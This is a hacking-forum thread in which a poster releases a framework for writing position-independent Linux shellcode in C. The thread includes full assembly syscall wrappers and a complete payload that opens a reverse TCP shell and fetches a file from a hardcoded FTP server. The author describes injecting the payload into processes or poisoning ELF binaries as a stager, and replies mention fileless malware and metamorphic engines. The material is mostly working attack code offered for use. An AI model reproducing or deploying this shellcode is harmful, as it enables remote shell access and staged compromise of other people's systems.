

# Forum:[Hack Forums](#)

Thread: [Basic Framework for Writing Positionally Independent Shellcode in C](#)

Goodies - October 29, 2018, 12:12 pm

TL;DR: [CShell Github Link](#)

I'm just releasing this project that I had worked on about a year ago when I was interested in writing more complex shellcode payloads, but I was pretty much hitting the ceiling of my assembly language capabilities. For this reason, I thought it would be much easier to just simply write my payloads in something sane and readable like C. However, C compilers will create a binary file from object code that is complete with storage sections and symbols, but our shellcode payload should generally just contain executable instructions and nothing more.

When I was writing a fully positionally independent shellcode payload for Windows, I really enjoyed [this article](#) which essentially describes how to utilize C-compiled binaries to extract its own executable section. Utilizing customized shellcode should be in every hacker's repertoire, but it can definitely be tedious to learn, and especially difficult to master. Because Windows doesn't work on system calls, it parses the export table of standard libraries (that are consistently loaded into the same address space [for various reasons](#)) and uses them just like normal kernel functions. Linux, however, doesn't quite work the same way. Instead, it uses so-called "system calls" that each perform a specific function and are implemented by the kernel.

There are a few things to watch out for when writing positionally-independent C code: No use of any functions in the standard library. This can definitely seem tedious, but it doesn't really take that long getting used to. Note: you CAN still use any type/struct/enum definition or PP macro that you wish.

Don't use string literals in function calls or in pointer assignments. This is just a feature of C compilers; they will place string literals in a separate section of the resulting binary. In order to prevent this, declare strings as arrays instead as this will store the characters on the stack.

NEVER use ``goto``. EVER. Except in this case.

## CShell Syscall Wrapper

There are two syscall wrappers that come packaged in with CShell: x86 and x64. These are for i386 and amd64 platforms respectively. These are the ONLY assembly portions of the entire project. Any other platforms that wish to be supported must provide a similar system-specific syscall wrapper. This wrapper is meant to accept a syscall number and up to 6 additional parameters (for x86 and x64 this is sufficient). In the nomenclature I have used (`cshell1`, `cshell2`, `cshell[N]...`) N determines the number of parameters.

## 32 Bit Assembly Syscall Wrapper

PHP Code

`<?php`

`.intel_syntax noprefix`

`.text`

```
.globl cshell1, cshell2, cshell3, cshell4, cshell5, cshell6
```

```
cshell1:
```

```
cshell2:
```

```
cshell3:
```

```
cshell4:
```

```
cshell5:
```

```
cshell6:
```

```
//; create a stack frame to preserve previous base pointer
```

```
push ebp
```

```
mov ebp, esp
```

```
//; move all possible arguments into gp registers
```

```
mov eax, [ebp+0x08]
```

```
mov ebx, [ebp+0x0c]
```

```
mov ecx, [ebp+0x10]
```

```
mov edx, [ebp+0x14]
```

```
mov esi, [ebp+0x18]
```

```
mov edi, [ebp+0x1c]
```

```
//; save current ebp
```

```
push ebp
```

```
mov ebp, [ebp+0x20]
```

```
//; kernel int
```

```
int 0x80
```

```
//; restore ebp and destroy the stack frame
```

```
pop ebp
```

```
mov esp, ebp
```

```
pop ebp
```

```
ret
```

```
64 Bit Assembly Syscall Wrapper
```

```
PHP Code
```

```
<?php
```

```
.intel_syntax noprefix
```

```
.text
```

```
.globl cshell1, cshell2, cshell3, cshell4, cshell5, cshell6
```

```
cshell1:
```

```
cshell2:
```

```
cshell3:
```

```
cshell4:
```

```
cshell5:
```

```
cshell6:
```

```
//; create a stack frame
```

```
push rbp
```

```
mov rbp, rsp
```

```
//; move all parameters to set up a syscall
```

```
mov rax, rdi
```

```
mov rdi, rsi
```

```
mov rsi, rdx
mov rdx, rcx
mov r10, r8
mov r8, r9
mov r9, [rbp + 0x10]
```

```
//; execute the syscall
syscall
```

```
//; destroy the stack frame
mov rsp, rbp
pop rbp
```

```
ret
```

### Syscall Headers

Each (supported) syscall is nothing more than a preprocessor definition to call the desired `cshell[N]` function (where N is the number of parameters) which also converts the provided arguments to a uniform type (unsigned long). There are so many syscalls that I haven't even looked at, but you can always call the cshell functions directly.

### Header Wrapper [\(Click to View\)](#)

#### PHP Code

```
<?php
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <bits/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define ARG unsigned long
#define RET ssize_t

/* linked externally to syscall_x{ARCH}.s assembly wrapper */
extern RET cshell1(unsigned long syscall_ord, ARG arg1);
extern RET cshell2(unsigned long syscall_ord, ARG arg1, ARG arg2);
extern RET cshell3(unsigned long syscall_ord, ARG arg1, ARG arg2, ARG arg3);
extern RET cshell4(unsigned long syscall_ord, ARG arg1, ARG arg2, ARG arg3, ARG arg4);
extern RET cshell5(unsigned long syscall_ord, ARG arg1, ARG arg2, ARG arg3, ARG arg4,
ARG arg5);
extern RET cshell6(unsigned long syscall_ord, ARG arg1, ARG arg2, ARG arg3, ARG arg4,
ARG arg5, ARG arg6);

#define cs_err(val) (val) < 0 ? -val : val
```

```
/* Macro definitions for ubiquitous syscalls that call no external libraries */
```

```
/* **** */
```

```
/* file management */
```

```
#define cs_close(fd) cshell1(SYS_close, (ARG)(fd))
```

```
#define cs_fstat(fd, statbuf) cshell2(SYS_fstat, (ARG)(fd), (ARG)(statbuf))
```

```
#define cs_open(filename, flags, mode) cshell3(SYS_open, (ARG)(filename), (ARG)(flags), (ARG)(mode))
```

```
#define cs_stat(filename, statbuf) cshell2(SYS_stat, (ARG)(filename), (ARG)(statbuf))
```

```
/* streams and file descriptors */
```

```
#define cs_dup2(oldfd, newfd) cshell2(SYS_dup2, (ARG)(oldfd), (ARG)(newfd))
```

```
#define cs_read(fd, buf, count) cshell3(SYS_read, (ARG)(fd), (ARG)(buf), (ARG)(count))
```

```
#define cs_write(fd, buf, count) cshell3(SYS_write, (ARG)(fd), (ARG)(buf), (ARG)(count))
```

```
/* process management */
```

```
#define cs_fork() cshell1(SYS_fork, (ARG)0)
```

```
#define cs_wait4(pid, status, options, rusage) cshell4(SYS_wait4, (ARG)(pid), (ARG)(status), (ARG)(options), (ARG)(rusage))
```

```
#define cs_exit(error_code) cshell1(SYS_exit, (ARG)(error_code))
```

```
#define cs_execve(name, argv, envp) cshell3(SYS_execve, (ARG)(name), (ARG)(argv), (ARG)(envp))
```

```
/* memory management */
```

```
#ifdef SYS_mmap2
```

```
#define cs_mmap2(addr, len, prot, flags, fd, off) cshell6(SYS_mmap2, (ARG)(addr), (ARG)(len), (ARG)(prot), (ARG)(flags), (ARG)(fd), (ARG)(off))
```

```
#endif
```

```
#define cs_mmap(addr, len, prot, flags, fd, off) cshell6(SYS_mmap, (ARG)(addr), (ARG)(len), (ARG)(prot), (ARG)(flags), (ARG)(fd), (ARG)(off))
```

```
#define cs_mprotect(addr, len, prot) cshell3(SYS_mprotect, (ARG)(addr), (ARG)(len), (ARG)(prot))
```

```
#define cs_munmap(addr, len) cshell2(SYS_munmap, (ARG)(addr), (ARG)(len))
```

```
/* sockets */
```

```
#define cs_socket(family, type, protocol) cshell3(SYS_socket, (ARG)(family), (ARG)(type), (ARG)(protocol))
```

```
#define cs_connect(fd, servaddr, addrlen) cshell3(SYS_connect, (ARG)(fd), (ARG)(servaddr), (ARG)(addrlen))
```

```
#endif
```

## Writing a Payload

Writing the payload is similar to how you would go about writing a normal C program, but instead of using nice, portable, standard library functions, you must use system calls and implement your own versions of various functions. You are responsible for memory allocation, child process management, string parsing, etc... This really isn't so bad! I wrote a client that:

Forks child processes that perform the following:

Spawns a reverse TCP shell using the typical dup2/execve over a TCP socket method.

Connects to a public FTP server with a username and password and downloads the remote file `readme.txt` to the local file `/tmp/testing.txt`

Here's the source. ([Click to View](#))

PHP Code

```
<?php
#include "cshell.h"

/*
 * A 'complex' example of a CShell payload complete with primitive multithreading and socket programming
 */

// Some useful definitions when dealing with networking
#define HTONS(A) (((uint16_t)(A) & 0xff00u) >> 8u) | (((uint16_t)(A) & 0x00ffu) << 8u)
#define OCTETS(a, b, c, d) (uint32_t)(((d) << 24u) | ((c) << 16u) | ((b) << 8u) | (a))

// 127.0.0.1 - run "ncat -lvp 1234" to listen for connections
#define SHELL_HOST    OCTETS(127u, 0u, 0u, 1u)    // Host to connect the reverse shell
#define SHELL_PORT    1234                        // Port to connect the reverse shell

// 195.144.107.198 - some free authenticated FTP server I found.
#define FTP_CBUFLLEN  128                        // Buffer size for FTP control connection
#define FTP_DBUFLLEN  1024                       // Buffer size for FTP data connection
#define FTP_HOST      OCTETS(195u, 144u, 107u, 198u) // FTP host
#define FTP_CPORT     21                         // FTP control port (default 21)
#define FTP_USER      "demo"                     // FTP username
#define FTP_PASS      "password"                  // FTP password
#define FTP_FILE_SRC   "readme.txt"               // FTP file name
#define FTP_FILE_DEST  "/tmp/testing.txt"          // FTP destination file name
#define FTP_FILE_PERM  0664                       // File permissions to use when saving FTP_FILE_DEST

// Return PID on error or parent. FORKNGO lets children fork and then go...
#define FORKNGO() { \
    int _pid; \
    if((_pid = cs_fork()) != 0) { return _pid; } \
}

enum {
    CHILD_REV_SHELL,
    CHILD_FTP_DOWNLOAD,
    // ...
    CHILD_COUNT,
};

int _start();
int main();
```

```

int _start()
{
    return cs_exit(main());
}

/* for memory management */
void *allocate(size_t size);
int deallocate(void *ptr, size_t size);

/* creates children */
int spawn_reverse_shell();
int spawn_ftp_download();

/* for string conversion */
int str_to_int_10(const char *str, char **endptr);

void *allocate(size_t size)
{
    void *ptr;
#ifdef cs_mmap2
    ptr = (void*)cs_mmap2(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE |
MAP_ANONYMOUS, -1, 0);
#else
    ptr = (void*)cs_mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE |
MAP_ANONYMOUS, -1, 0);
#endif
    return ptr == MAP_FAILED ? NULL : ptr;
}

int deallocate(void *ptr, size_t size)
{
    if(ptr != NULL && ptr != MAP_FAILED)
    {
        return cs_munmap(ptr, size);
    }
    return 0;
}

int main()
{
    int pid, children[CHILD_COUNT] = {0};

    if((pid = spawn_reverse_shell()) == 0) { return 0; }
    children[CHILD_REV_SHELL] = pid;

    if((pid = spawn_ftp_download()) == 0) { return 0; }
    children[CHILD_FTP_DOWNLOAD] = pid;

    /*
     * Wait for children

```

```

    */
    for(size_t i = 0; i < CHILD_COUNT; ++i)
    {
        if(children[i] > 0)
        {
            cs_wait4(children[i], 0, 0, 0);
        }
    }
    return 0;
}

```

```

/*
 * Spawns a reverse shell connection to the define host/port.
 */
int spawn_reverse_shell()
{
    FORKNGO();

    char progame[] = "/bin/sh";

    struct sockaddr_in srv;
    int sock;

    srv.sin_family = AF_INET;
    srv.sin_addr.s_addr = SHELL_HOST;
    srv.sin_port = HTONS(SHELL_PORT);

    if((sock = cs_socket(AF_INET, SOCK_STREAM, 0)) > 0)
    {
        if(cs_connect(sock, (struct sockaddr*)&srv, sizeof(srv)) >= 0)
        {
            for(int i = 0; i <= 2; ++i)
            {
                cs_dup2(sock, i);
            }
            cs_execve(progame, 0, 0);
            cs_close(sock);
        }
    }

    return 0;
}

```

```

/*
 * Sends to and receives from a socket synchronously. Only returns write value on error or when recv
_buf == NULL.
 * Otherwise, returns read return value only.
 */
int sock_send_recv(int sock, const char *send_buf, size_t send_buf_len, char *recv_buf,
size_t recv_buf_len)
{

```

```

int bytes;
if(send_buf != NULL)
{
    if((bytes = cs_write(sock, send_buf, send_buf_len)) < 0)
    {
        return bytes;
    }
}

if(recv_buf != NULL)
{
    if((bytes = cs_read(sock, recv_buf, recv_buf_len)) < 0)
    {
        return bytes;
    }
}

return bytes;
}

/*
 * Simple routine to find the first base 10 number and save a pointer to the first non-digit character.
 */
int str_to_int_10(const char *str, char **endptr)
{
    while(*str < '0' || *str > '9')
    {
        str++;
    }

    const char *iter = str;
    size_t total = 0, mul = 1;

    while(*iter >= '0' && *iter <= '9')
    {
        iter++;
    }

    if(endptr != NULL)
    {
        *endptr = (char*)iter;
    }

    while(iter-- != str)
    {
        total += (mul * (*iter - '0'));
        mul *= 10;
    }

    return total;
}

```

```

/*
 * Very simplistic implementation of an FRP client
 */
int spawn_ftp_download()
{
    FORKNGO();

    // Each FTP connection will have two sockets. Assume passive FTP and do not bind to a port locally
    .
    // srv object can be reused if the port is change.
    struct sockaddr_in srv;
    int sock_ctrl = 0, sock_data = 0;

    // Use the PP definitions to construct raw FTP commands
    char ftp_user[] = "USER " FTP_USER "\r\n";
    char ftp_pass[] = "PASS " FTP_PASS "\r\n";
    char ftp_retr[] = "RETR " FTP_FILE_SRC "\r\n";
    char ftp_pasv[] = "PASV\r\n";
    char ftp_dest[] = FTP_FILE_DEST;

    // buffers for control and data sockets respectively. Allocate using mmap so as to not take up too much space in the shellcode.
    char *cbuf = NULL, *dbuf = NULL, *ptr = NULL;

    int bytes, fd = 0;

    if((cbuf = allocate(FTP_CBUFLEN)) == NULL || (dbuf = allocate(FTP_DBUFLEN)) == NULL)
    {
        goto cleanup;
    }

    // shared socket settings: IPv4 family/address
    srv.sin_family = AF_INET;
    srv.sin_addr.s_addr = FTP_HOST;

    if((sock_ctrl = cs_socket(AF_INET, SOCK_STREAM, 0)) > 0)
    {
        // control socket settings
        srv.sin_port = HTONS(FTP_CPORT);
        if(cs_connect(sock_ctrl, (struct sockaddr*)&srv, sizeof(srv)) >= 0)
        {
            /*
             * Receive login banner
             * Error checking for initial FTP response value
             */
            if((bytes = sock_send_recv(sock_ctrl, NULL, 0, cbuf, FTP_CBUFLEN)) < 0 || str_to_int_10(
cbuf, NULL) != 220)
            {
                goto cleanup;
            }
        }
    }

```

```

cs_write(1, cbuf, bytes);

/*
 * Send the USER command with the provided username
 * Error checking for the USER FTP response
 */
if((bytes = sock_send_recv(sock_ctrl, ftp_user, sizeof(ftp_user), cbuf, FTP_CBUFLLEN)) < 0
|| str_to_int_10(cbuf, NULL) != 331)
{
    goto cleanup;
}
cs_write(1, cbuf, bytes);

/*
 * Send the PASS command with the provided password
 * Error checking for the PASS FTP response
 */
if((bytes = sock_send_recv(sock_ctrl, ftp_pass, sizeof(ftp_pass), cbuf, FTP_CBUFLLEN)) <=
0 || str_to_int_10(cbuf, NULL) != 230)
{
    goto cleanup;
}
cs_write(1, cbuf, bytes);

/* We're logged in! We can now request the PASV command and parse for a port */;

/*
 * Send the PASV command
 */
if((bytes = sock_send_recv(sock_ctrl, ftp_pasv, sizeof(ftp_pasv), cbuf, FTP_CBUFLLEN)) <=
0 || str_to_int_10(cbuf, &ptr) != 227)
{
    goto cleanup;
}

uint8_t a, b, c, d, p1, p2;

// Parse the response to get the host address for the data stream
a = str_to_int_10(ptr, &ptr);
b = str_to_int_10(ptr, &ptr);
c = str_to_int_10(ptr, &ptr);
d = str_to_int_10(ptr, &ptr);

// Gather the two pieces of info needed for determining the port number
p1 = str_to_int_10(ptr, &ptr);
p2 = str_to_int_10(ptr, &ptr);

srv.sin_addr.s_addr = OCTETS(a, b, c, d);
srv.sin_port = HTONS(p1 * 256 + p2);

fd = cs_open(ftp_dest, O_RDWR | O_CREAT, FTP_FILE_PERM);

if((sock_data = cs_socket(AF_INET, SOCK_STREAM, 0)) > 0)

```

```

{
    if(cs_connect(sock_data, (struct sockaddr*)&srv, sizeof(srv)) >= 0)
    {
        if((bytes = sock_send_recv(sock_ctrl, ftp_retr, sizeof(ftp_retr), cbuf, FTP_CBUFLEN)) <= 0 || str_to_int_10(cbuf, NULL) != 125)
        {
            goto cleanup;
        }

        cs_write(1, cbuf, bytes);

        while((bytes = sock_send_recv(sock_data, NULL, 0, dbuf, FTP_DBUFLEN)) >= 0)
        {
            if(bytes)
            {
                cs_write(fd, dbuf, bytes);
            }

            if(bytes != FTP_DBUFLEN)
            {
                break;
            }
        }

        if((bytes = sock_send_recv(sock_ctrl, NULL, 0, cbuf, FTP_CBUFLEN)) <= 0)
        {
            goto cleanup;
        }
        cs_write(1, cbuf, bytes);
    }
}
}
}

```

cleanup:

```

if(sock_ctrl > 0) { cs_close(sock_ctrl); }
if(sock_data > 0) { cs_close(sock_data); }
if(fd > 0) { cs_close(fd); }
deallocate(cbuf, FTP_CBUFLEN);
deallocate(dbuf, FTP_DBUFLEN);
return 0;
}

```

Once you compile it with the assembly shellcode wrapper that correctly suits your architecture (Makefile provided), the resulting binary will be a static executable ELF file. Using the provided `gettext.txt` shell script, or performing this manually, you can use the `objdump` to identify the starting and ending positions of the `.text` (executable) section of the binary. Simply extract that portion of the binary, and we have our executable shellcode!

The resulting payload isn't really tiny... it's just about 2KB (although most of it goes to implementing the tiny FTP client, so a raw TCP file transfer wouldn't be nearly as big to implement). But it is shellcode, and it is full positionally independent. This can be injected into an arbitrary process, or

used as-is to poison an ELF file, or be triggered from any number of attack vectors in the heap/stack. It relies on absolutely no knowledge of library locations or anything external.

As of right now it definitely works with the FTP server I tested with, but it wouldn't work on an unauthenticated FTP server. It isn't a fully features FTP client; that would be too bloated even for this monstrosity. Instead, it just implements exactly what is needed to connect to that server. The resulting file is saved in /tmp/, but could be easily tailored to save somewhere else. This could be an incredibly simple bootstrap to deploy a much more sophisticated bootstrap.

**6577657534735** - October 29, 2018, 8:37 pm

This is cool, I wonder how difficult it would be to extract the binaries of non-inlined PIC functions independently into byte arrays, create your own rudimentary ABI with intermediary shellcode snippet encryption/decryption routines in between calls, and create a simple metamorphic engine. Very unethical and no good use for this however and you should not spread this information

**HFDone** - October 30, 2018, 10:27 am

i saw the article few years ago

base on <https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler>

i wrote short code to extract and test the shellcode

**0xBB** - October 30, 2018, 7:35 pm

Nice example, I did use similar technique to extract my test shellcodes. (I suck at nasm and just to setup the compiler and the working env was too much, so I compiled my stuff in vs as C and dumped the .code)

**Souffrance** - October 30, 2018, 8:22 pm

This was pretty neat! Thank you for sharing. :)

**Goodies** - May 22, 2019, 8:28 am

(Oct 30, 2018 10:27 AM)HFDone Wrote: [\[CITE\]](#) i saw the article few years ago

base on <https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler>

i wrote short code to extract and test the shellcode

Yep, that article was amazing for me when I read it a few years ago. Immensely advanced my understanding of EXE and DLL format.

This is heavily inspired by that but is for Linux, not Windows. Unlike Windows, Linux calling convention doesn't rely on external standard libraries for just about ALL functionality in assembly... there's no reason to parse /proc/map entries in Linux for everything, you have a kernel interrupt which, when provided specific values, will call different functions in the standard library. This is basically reducing high level functions (multithreading, reverse shell, ftp file transfer, etc) to their system call counterparts so no external libraries are needed.

But that article is actually how I developed file-less malware called Sicarius. Stub was less than 500 bytes of shellcode and could easily be embedded in code caves of binaries. All functionality was written in C and the first stager transferred contained MemoryModule, and after that you can load literally any DLL you want, in memory, over a network, without adding an entry to the loaded DLLs. Nice piece of ass, that software.

**incelsubhuman** - May 29, 2019, 8:15 pm

That X64 code will crash (given the right environment) due to the boundary alignment required by SSE (a general protection fault will be generated if the stack pointer is not 16 byte aligned). Due to this alignment requirement compilers normally don't use stack frames, and reference directly from RSP. (Could be wrong about GCC about the no stack frames portion, depends on the convention

used)

(Oct 29, 2018 08:37 PM)Abraluna Wrote: [\[CITE\]](#) This is cool, I wonder how difficult it would be to extract the binaries of non-inlined PIC functions independently into byte arrays, create your own rudimentary ABI with intermediary shellcode snippet encryption/decryption routines in between calls, and create a simple metamorphic engine. Very unethical and no good use for this however and you should not spread this information

That's not how metamorphic engines work.

First and foremost never rely on encryption/decryption for code obscurity, it's just a means for race conditions.

A metamorphic engine is a compiler by definition. Though its incentive isn't to optimize code, but to produce unique code that functions.

**Goodies** - *September 19, 2019, 10:38 am*

I know it's super simple but I've used this a dozen times for really simple C progs and it's actually been useful.